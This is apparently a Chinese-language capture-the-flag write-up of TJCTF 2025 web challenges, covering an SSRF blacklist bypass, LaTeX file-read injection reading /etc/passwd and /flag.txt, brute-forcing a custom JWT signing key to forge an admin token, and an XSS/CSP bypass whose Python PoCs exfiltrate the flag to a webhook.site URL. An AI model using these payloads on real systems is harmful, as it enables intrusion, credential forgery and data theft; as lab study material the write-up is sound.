TJCTF-2025-web-WriteUp

题目来源

地址:https://ctf.tjctf.org/challs

时间:2025.6.7 - 2025.6.8

loopy

考点

内容

题目描述:Can you access the admin page? Running on port 5000

分析

  1. 随便输入一个 url 发现直接解析出来对应 HTML
  2. 访问 https://loopy.tjc.tf//admin ,回显:Access denied. Admin panel only accessible from server side. 一眼 SSRF。
  3. 搜一些 ssrf bypas,注意题目说了端口在 5000。
  4. 先试试 0.0.0.0,回显:Access denied. URL parameter included one or more of the following banned keywords: 0.0.0.0, ::1, 2130706433, local, ffff, [::], 017700000001, 127
  5. 说明是黑名单,用 http://0:5000 绕过
  6. 访问 http:/0:5000/flag ,得到 flag

TeXploit

考点

  • LaTex compiler to pdfs
  • xor 42

内容

题目描述:I made a LaTex compiler that can generate pdfs. It even prints the log file if there is an error. The flag is located in /flag.txt.

进入后回显:Your code will be placed inside a minimal LaTeX document.

分析

  1. 这里可以把文字 compile 成 PDF,有问题的话会打印 log,应该是利用 log 去执行 cat /flag.txt

  2. 搜了一下没咋看懂,但是找了一个 payload 使用 input,报错,发现在黑名单: Error: Input contains the blacklisted term 'input'. 同样 ban 了的还有 repeat

  3. 目前的思路一个是用网上的 poc 看看能不能把文件读到 pdf 里面,第二个是用 log 看看能不能得到 flag。

  4. 执行如下代码的时候报错(网上的 poc)

    1
    2
    3
    4
    5
    \\newread\\file
    \\openin\\file=/flag.txt
    \\read\\file to\\line
    \\text{\\line}
    \\closein\\file
  5. 问了 GPT 说是 text{\line}这个写法是错误的,不知道为啥会这样。但是 GPT 提供思路说可以写进 log 中用于 debug时用,正和题目意思。

    1
    2
    3
    4
    5
    \\newread\\file
    \\openin\\file=/etc/passwd
    \\read\\file to\\line
    \\ttfamily \\line
    \\closein\\file
  6. 这个可以执行,但是变成 /flag.txt 就不行了。原因是被读出来的那一行里含有 LaTeX 把它当“数学下标”的字符,最常见的就是下划线 。那么执行\\ttfamily \\line的时候TeX 看到 flag{xxx_xxx}就误以为你要在数学模式里写下标,但此刻你不在数学模式,TeX 就报 “Missing $ inserted.”。

  7. 那么就使用用 \\detokenize 把任意字符都当“普通字符”来处理,这样处理下划线的问题

  8. 针对 {}的问题:TeX 会 自动将 { 识别为控制符起始,然后把 /flag 当作一个 token,忽略后面部分,所以在使用\\detokenize 前先展开 flag的值,也就是使用 \\edef

1
2
3
4
5
6
7
8
9
10
\\newread\\file
\\openin\\file=/flag.txt
\\read\\file to \\flag
\\closein\\file

% \\edef 让你在 detokenize 前先展开 \\flag 的值
\\edef\\outputflag{\\noexpand\\detokenize{\\flag}}

% 然后渲染它
{\\ttfamily \\outputflag}
  1. 也可以使用写入 log 的思路,直接使用errmessage,报错直接输出然后中断。

    1
    2
    3
    4
    5
    \\newread\\file
    \\newcommand{\\line}{}
    \\openin\\file=/flag.txt
    \\read\\file to \\line
    \\errmessage{\\line}

    注意这里不能用typeoutmessage来写进 log,可能是这里没写入东西最后log没有存储 那一行的内容,或者log回显的不够详细。所以用errmessage直接强制中断然后返回 flag。

参考

  1. https://exexute.github.io/2019/04/24/how-hacking-with-LaTex/

front-door

考点

  • JWT
  • 伪哈希

内容

题目描述:The admin of this site is a very special person. He’s so special, everyone strives to become him.

product 有回显一段 代码:

1
2
3
4
5
6
7
8
9
10
def has(inp):
hashed = ""
key = jwt_key
for i in range(64):
hashed = hashed + hash_char(inp[i % len(inp)], key[i % len(key)])
return hashed

def hash_char(hash_char, key_char):
return chr(pow(ord(hash_char), ord(key_char), 26) + 65)

分析

  1. 这两行代码应该是生成伪哈希,作为 jwt_token。现在要想办法破解 admin 的jwt_token登陆进去

    1
    2
    3
    4
    5
    6
    7
    8
    9
    def has(inp):
    hashed = ""
    key = jwt_key
    for i in range(64):
    hashed = hashed + hash_char(inp[i % len(inp)], key[i % len(key)])
    return hashed

    def hash_char(hash_char, key_char):
    return chr(pow(ord(hash_char), ord(key_char), 26) + 65)
  2. 先create一个psych/psych,得到 token:token=eyJhbGciOiAiQURNSU5IQVNIIiwgInR5cCI6ICJKV1QifQ.eyJ1c2VybmFtZSI6ICJwc3ljaCIsICJwYXNzd29yZCI6ICJwc3ljaCIsICJhZG1pbiI6ICJmYWxzZSJ9.JZOAYHBBBBNBDDQABXBFJOABZBLBBSOBVLBWVBQRSJJBOJYXDQZBEIRQBSOOFFWB

  3. 解码出来:

1
2
3
4
5
6
7
8
9
10
11
header:
{
"alg": "ADMINHASH",
"typ": "JWT"
}
payload:
{
"username": "psych",
"password": "psych",
"admin": "false"
}
  1. 这里的 “alg”: “ADMINHASH”应该就是上面那个自定义的方式。应该可以通过这里破解出 jwt_key

  2. 这个 hash_char 对每个输出字符都是:sig[i] = chr( pow( ord(inp[i]), ord(key[i_mod_keylen]), 26 ) + 65 )

  3. 其中 inp[i] 和最后的 signature 是已知的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    header = {"alg":"ADMINHASH","typ":"JWT"}
    h_b64 = base64url(json.dumps(header).encode())

    payload = {"username":"psych","password":"psych","admin":"false"}
    p_b64 = base64url(json.dumps(payload).encode())

    inp = f"{h_b64}.{p_b64}"
    # token = f"{h_b64}.{p_b64}.{signature}"

    # signature = has(inp),通过这里爆破出 jwt_key
    inp = eyJhbGciOiAiQURNSU5IQVNIIiwgInR5cCI6ICJKV1QifQ.eyJ1c2VybmFtZSI6ICJwc3ljaCIsICJwYXNzd29yZCI6ICJwc3ljaCIsICJhZG1pbiI6ICJmYWxzZSJ9
    signature = JZOAYHBBBBNBDDQABXBFJOABZBLBBSOBVLBWVBQRSJJBOJYXDQZBEIRQBSOOFFWB
  4. 上面 has 部分就是取模部分暴力逆向破解一下,GPT给出脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    #!/usr/bin/env python3
    import base64, itertools, string

    sig = "JZOAYHBBBBNBDDQABXBFJOABZBLBBSOBVLBWVBQRSJJBOJYXDQZBEIRQBSOOFFWB"
    inp = "eyJhbGciOiAiQURNSU5IQVNIIiwgInR5cCI6ICJKV1QifQ.eyJ1c2VybmFtZSI6ICJwc3ljaCIsICJwYXNzd29yZCI6ICJwc3ljaCIsICJhZG1pbiI6ICJmYWxzZSJ9"

    # 暴力破解
    def all_k(h, c):
    return [k for k in range(32, 127) if pow(h, k, 26) == c]

    # 计算候选钥字
    candidates = [all_k(ord(inp[i % len(inp)]), ord(sig[i]) - 65) for i in range(64)]

    def try_len(L):
    pools = [set(range(32, 127)) for _ in range(L)]
    for i, cand in enumerate(candidates):
    pools[i % L] &= set(cand)
    if not pools[i % L]:
    return None
    return pools

    for L in range(1, 33): # 1..32 字节钥长枚举
    pools = try_len(L)
    if not pools: # 矛盾
    continue
    # 回溯拼装
    def dfs(pos, key_so_far):
    if pos == L:
    key_bytes = key_so_far.encode()
    # 检验
    out = "".join(chr(pow(ord(inp[i % len(inp)]),
    key_bytes[i % L], 26) + 65) for i in range(64))
    if out == sig:
    print("FOUND:", key_so_far)
    raise SystemExit
    return
    for k in pools[pos]:
    dfs(pos+1, key_so_far + chr(k))
    dfs(0, "")

    print("not found within length 32")
  5. 得到 jwt_key = " !bAC “` 注意前后空格,特别坑。然后把 admin 修改为 true登陆。页面发生变化,点击 ToDo,怎么变成 misc了(

    1
    2
    3
    4
    5
    if you want to read my todo list you must be me and understand my secret code!
    [108, 67, 82, 10, 77, 70, 67, 94, 73, 66, 79, 89]
    [107, 78, 92, 79, 88, 94, 67, 89, 79, 10, 73, 69, 71, 90, 75, 68, 83]
    [105, 88, 79, 75, 94, 79, 10, 8, 72, 95, 89, 67, 68, 79, 89, 89, 117, 89, 79, 73, 88, 79, 94, 89, 8, 10, 90, 75, 77, 79, 10, 7, 7, 10, 71, 75, 78, 79, 10, 67, 94, 10, 72, 95, 94, 10, 68, 69, 10, 72, 95, 94, 94, 69, 68, 10, 94, 69, 10, 75, 73, 73, 79, 89, 89, 10, 83, 79, 94]
    [126, 75, 65, 79, 10, 69, 92, 79, 88, 10, 94, 66, 79, 10, 93, 69, 88, 70, 78, 10, 7, 7, 10, 75, 70, 71, 69, 89, 94, 10, 78, 69, 68, 79]
  6. 这里直接问 GPT 可能的加密方式。上面说应该是 xor 42 来加密的,直接再 xor 42就可解密

    为什么会想到 “和 42 异或”?

    现象 线索
    大多数数值落在 65-95(’A’-‘_’)区间 像把可打印字符做了某种固定位运算
    出现 10 (换行 \n)保持不变 经典“把明文 XOR 一个常量”后,\n 就会变成 10 ⊕ key;如果 key 是 42 就回到 32 (空格) 或保持 10
    用一些常见异或键(13、23、32、42…)试一下 42 很快能得到可读英文
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    l1 = [108, 67, 82, 10, 77, 70, 67, 94, 73, 66, 79, 89]
    l2 = [107, 78, 92, 79, 88, 94, 67, 89, 79, 10, 73, 69, 71, 90, 75, 68, 83]
    l3 = [105, 88, 79, 75, 94, 79, 10, 8, 72, 95, 89, 67, 68, 79, 89, 89, 117, 89, 79, 73, 88, 79, 94, 89, 8, 10, 90, 75, 77, 79, 10, 7, 7, 10, 71, 75, 78, 79, 10, 67, 94, 10, 72, 95, 94, 10, 68, 69, 10, 72, 95, 94, 94, 69, 68, 10, 94, 69, 10, 75, 73, 73, 79, 89, 89, 10, 83, 79, 94]
    l4 = [126, 75, 65, 79, 10, 69, 92, 79, 88, 10, 94, 66, 79, 10, 93, 69, 88, 70, 78, 10, 7, 7, 10, 75, 70, 71, 69, 89, 94, 10, 78, 69, 68, 79]
    for line in (l1, l2, l3, l4):
    print(''.join(chr(n ^ 42) for n in line))
    ---
    Fix glitches
    Advertise company
    Create "business_secrets" page -- made it but no button to access yet
    Take over the world -- almost done
  7. 访问 /business_secrets 得到 flag

hidden-canvas

考点

  • 标题元数据(caption metadata)

内容

题目描述:I made this site where you can upload profile pictures, if you happen to embed caption metadata within your image, I’ll try displaying it on your profile page.

分析

  1. 根据描述,可以知道如果 嵌入标题元数据(embed caption metadata),就会在个人资历里面显示出来。所以应该是这个 caption metadata 可以有操作空间。
  2. buhui.

double-nested

考点

  • CSP bypas
  • XSS get Flag

内容

题目描述:get creative! there are a few flaws in the filters…

附件:

  1. 有两个页面一个admin bot 可以访问主页,主页有两个路由,/ 路由会render_template 主页,/gen 路由会发起请求并可以执行 JS

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    from flask import Flask, render_template, request
    import re

    app = Flask(__name__)
    @app.route('/')
    def index():
    i=request.args.get("i", "double-nested")
    return render_template("index.html", i=sanitize(i))

    def sanitize(input):
    input = re.sub(r"^(.*?=){,3}", "", input)
    forbidden = ["script", "http://", "&", "document", '"']
    if any([i in input.lower() for i in forbidden]) or len([i for i in range(len(input)) if input[i:i+2].lower()=="on"])!=len([i for i in range(len(input)) if input[i:i+8].lower()=="location"]): return 'Forbidden!'
    return input

    @app.route('/gen')
    def gen():
    query = sanitize(request.args.get("query", ""))
    return query, 200, {'Content-Type': 'application/javascript'}

    if __name__ == '__main__':
    app.run()
  2. 主页有 i 的回显以及 设定了 CSP

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="Content-Security-Policy" content=" default-src 'self'; script-src 'self'; style-src 'self'; img-src 'none'; object-src 'none'; frame-src data:; manifest-src 'none'; ">
    <title>double-nested</title>
    </head>
    <body>
    <h1>{{i|safe}}</h1>
    </body>
    </html>
  3. admin 可以去访问这个页面并携带 flag

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    import flag from './flag.txt';

    function sleep(time) {
    return new Promise(resolve => {
    setTimeout(resolve, time)
    });
    }
    export default {
    id: 'double-nested',
    name: 'double-nested',
    urlRegex: /^https:\\/\\/double-nested\\.tjc\\.tf\\//,
    timeout: 10000,
    handler: async (url, ctx) => {
    const page = await ctx.newPage();
    await page.goto(url + flag, { timeout: 3000, waitUntil: 'domcontentloaded' });
    await sleep(5000);
    }
    };

分析

  1. 访问 / 路由并携带 i 参数,通过 render 注入页面,这里可以闭合然后 XSS 去指向 /gen 路由,然后这个路由接收一个 query 参数并当作 JS 去 return。

  2. 前提是绕过 sanitizeCSP 。对于sanitize 的绕过,在前面拼接三个=x=x=x ,替换为空之后后面的就为 payload,然后黑名单就使用 base64 去绕过。

  3. CSP 的限制如下,发现 frame-src data:; ——允许把 data: URI 放进 <iframe>

    1
    2
    3
    4
    5
    6
    7
    default-src 'self'; 
    script-src 'self';
    style-src 'self';
    img-src 'none';
    object-src 'none';
    frame-src data:;
    manifest-src 'none';
    1. 因此可以在最外层写一个 iframe 并把 base64 编码后的 data放入这个iframe 来绕过 CSP
    2. ?i=x=x=x=</h1><iframe src='data:text/html;base64,{toGen}' name= 这里的toGen放 base64 后的内容,去访问 /gen并通过 query 传入 JS 语句通过 window.open 获得 flag 并外带。
    3. 注意加上 name= 然后 bot 去访问的时候会在后面加上 url + flag,也就是最后 bot 去访问的 url 为:?i=x=x=x=</h1><iframe src='data:text/html;base64,{toGen}' name=tjctf{xxx} (这里还会加上浏览器自动为 h1 闭合的</h1 最后这个 > 自动作为 iframe 最后的闭合,使得语句完整)这个时候使用 windows.name 就可以获取到 这个 iframe 的name,也就是 bot 里面注入的 flag。这里也是考虑到在 iframe 里面要拿到这个 flag,因为不同源没办法拿到父页面的数据,如果是直接把 flag 当作访问父页面的 url 的一部分的话,就没办法在 iframe 里面构造 JS 拿到。
  4. 这里访问 /gen 需要构造的 data 内容为:<script src='<https://double-nested.tjc.tf/gen?query=x=x=x={getFlag}>'></script>,这里的getFlag 是获得 flag 并外带:document.addEventListener('DOMContentLoaded', () => {window.open('<https://webhook.site/xxx/?flag=>' + **window.name**);});

    1. 注意这里iframe 和父页面不同源,所以访问不了父页面的 window.location.href。所以改用 window.name 直接获取 iframe 中的 name 属性,然后后面构造 js 使得 flag 传入时被当做 iframe 的 name attribute
  5. 其中这里 query 也需要绕过sanitize 因此document 需要编码一下,直接替换为\\\\u0064\\\\u006f\\\\u0063\\\\u0075\\\\u006d\\\\u0065\\\\u006e\\\\u0074

  6. 整个的 poc 为

1
2
3
4
5
6
7
8
from urllib.parse import quote
import base64

poc2 = "\\\\u0064\\\\u006f\\\\u0063\\\\u0075\\\\u006d\\\\u0065\\\\u006e\\\\u0074.addEventListener('\\\\u0044\\\\u004f\\\\u004d\\\\u0043\\\\u006f\\\\u006e\\\\u0074\\\\u0065\\\\u006e\\\\u0074\\\\u004c\\\\u006f\\\\u0061\\\\u0064\\\\u0065\\\\u0064', () => {window.open('<https://webhook.site/xxx/?flag1=>' + window.name);});"
poc1 = "<script src='<https://double-nested.tjc.tf/gen?query=x=x=x={}>'></script>".format(quote(poc2))
poc = "?i=x=x=x=<iframe src='data:text/html;base64,{}' name=".format(base64.b64encode(poc1.encode()).decode())

print(quote(poc))
  1. 如果不把 flag 注入 iframe 的 name,而是直接作为 url 的话,可以尝试使document.referrer 去获取。那么这里要闭合 iframe和处理 </h1> 。先简单验证了一下,拿不到flag。

    Inside an <iframe>, the Document.referrer will initially be set to the href of the parent’s Window.location in same-origin requests. In cross-origin requests, it’s the origin of the parent’s Window.location by default.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    from urllib.parse import quote
    import base64

    # <https://webhook.site/9628ad29-b676-4673-9677-c43f535512ce>
    poc2 = "\\\\u0064\\\\u006f\\\\u0063\\\\u0075\\\\u006d\\\\u0065\\\\u006e\\\\u0074.addEventListener('\\\\u0044\\\\u004f\\\\u004d\\\\u0043\\\\u006f\\\\u006e\\\\u0074\\\\u0065\\\\u006e\\\\u0074\\\\u004c\\\\u006f\\\\u0061\\\\u0064\\\\u0065\\\\u0064', () => {window.open('<https://webhook.site/xxx/?flag1=>' + \\\\u0064\\\\u006f\\\\u0063\\\\u0075\\\\u006d\\\\u0065\\\\u006e\\\\u0074.referrer);});"
    poc1 = "<script src='<https://double-nested.tjc.tf/gen?query=x=x=x={}>'></script>".format(quote(poc2))
    poc = "?i=x=x=x=<iframe src='data:text/html;base64,{}'><h1>".format(base64.b64encode(poc1.encode()).decode())

    print(quote(poc))
  2. 然后在大佬 BLOG 中发现需要设置 referrerPolicyattribute.

    I was reading through the documentations of<iframe>and then I realized that it also hasreferrerPolicyattribute.

    1. 这里的主要漏洞应该是 chrome 的问题导致可以在 iframe 中拿到父页面 referrer,但是图片貌似是被 block 的(BLOG 中是这样说的),所以需要先在 iframe 中设置referrerpolicy='unsafe-url' 再次测试发现成功获得 url。
    2. 没理解为什么这里 image 被 block。问了 GPT,浏览器的默认 Referrer-Policy 是 strict-origin-when-cross-origin,它的行为是:1. 同源请求 (HTTPS→HTTPS):发送完整 URL;2. 跨源请求 (包括 data:、blob:、其它 scheme):只发送源(origin),或对于“不安全”目的地(如从 HTTPS→data:)根本不发送 Referer 头。
    3. 因此对于我们这个场景,是需要在 iframe 中获得主页面的 Referer 头,属于不安全的目的地,根本不会发送。因此需要手动把referrerpolicy 设置为'unsafe-url' 这样才能使得任何目的地都能发送,使得 Iframe 能够拿到父页面的 Referer 头。然后 iframe 里面刚好可以有referrerpolicy这个 attribute 可以进行修改。
    1
    2
    3
    4
    5
    6
    7
    8
    from urllib.parse import quote
    import base64

    poc2 = "top.location = '<https://webhook.site/xxx/?flag='+window['doc'+'ument>'].referrer"
    poc1 = "<script src='<https://double-nested.tjc.tf/gen?query=x=x=x={}>'></script>".format(quote(poc2))
    poc = "?i=x=x=x=<iframe referrerpolicy='unsafe-url' src='data:text/html;base64,{}'><h1>".format(base64.b64encode(poc1.encode()).decode())

    print(quote(poc))

参考

  1. https://yun.ng/c/ctf/2025-tjctf/web/double-nested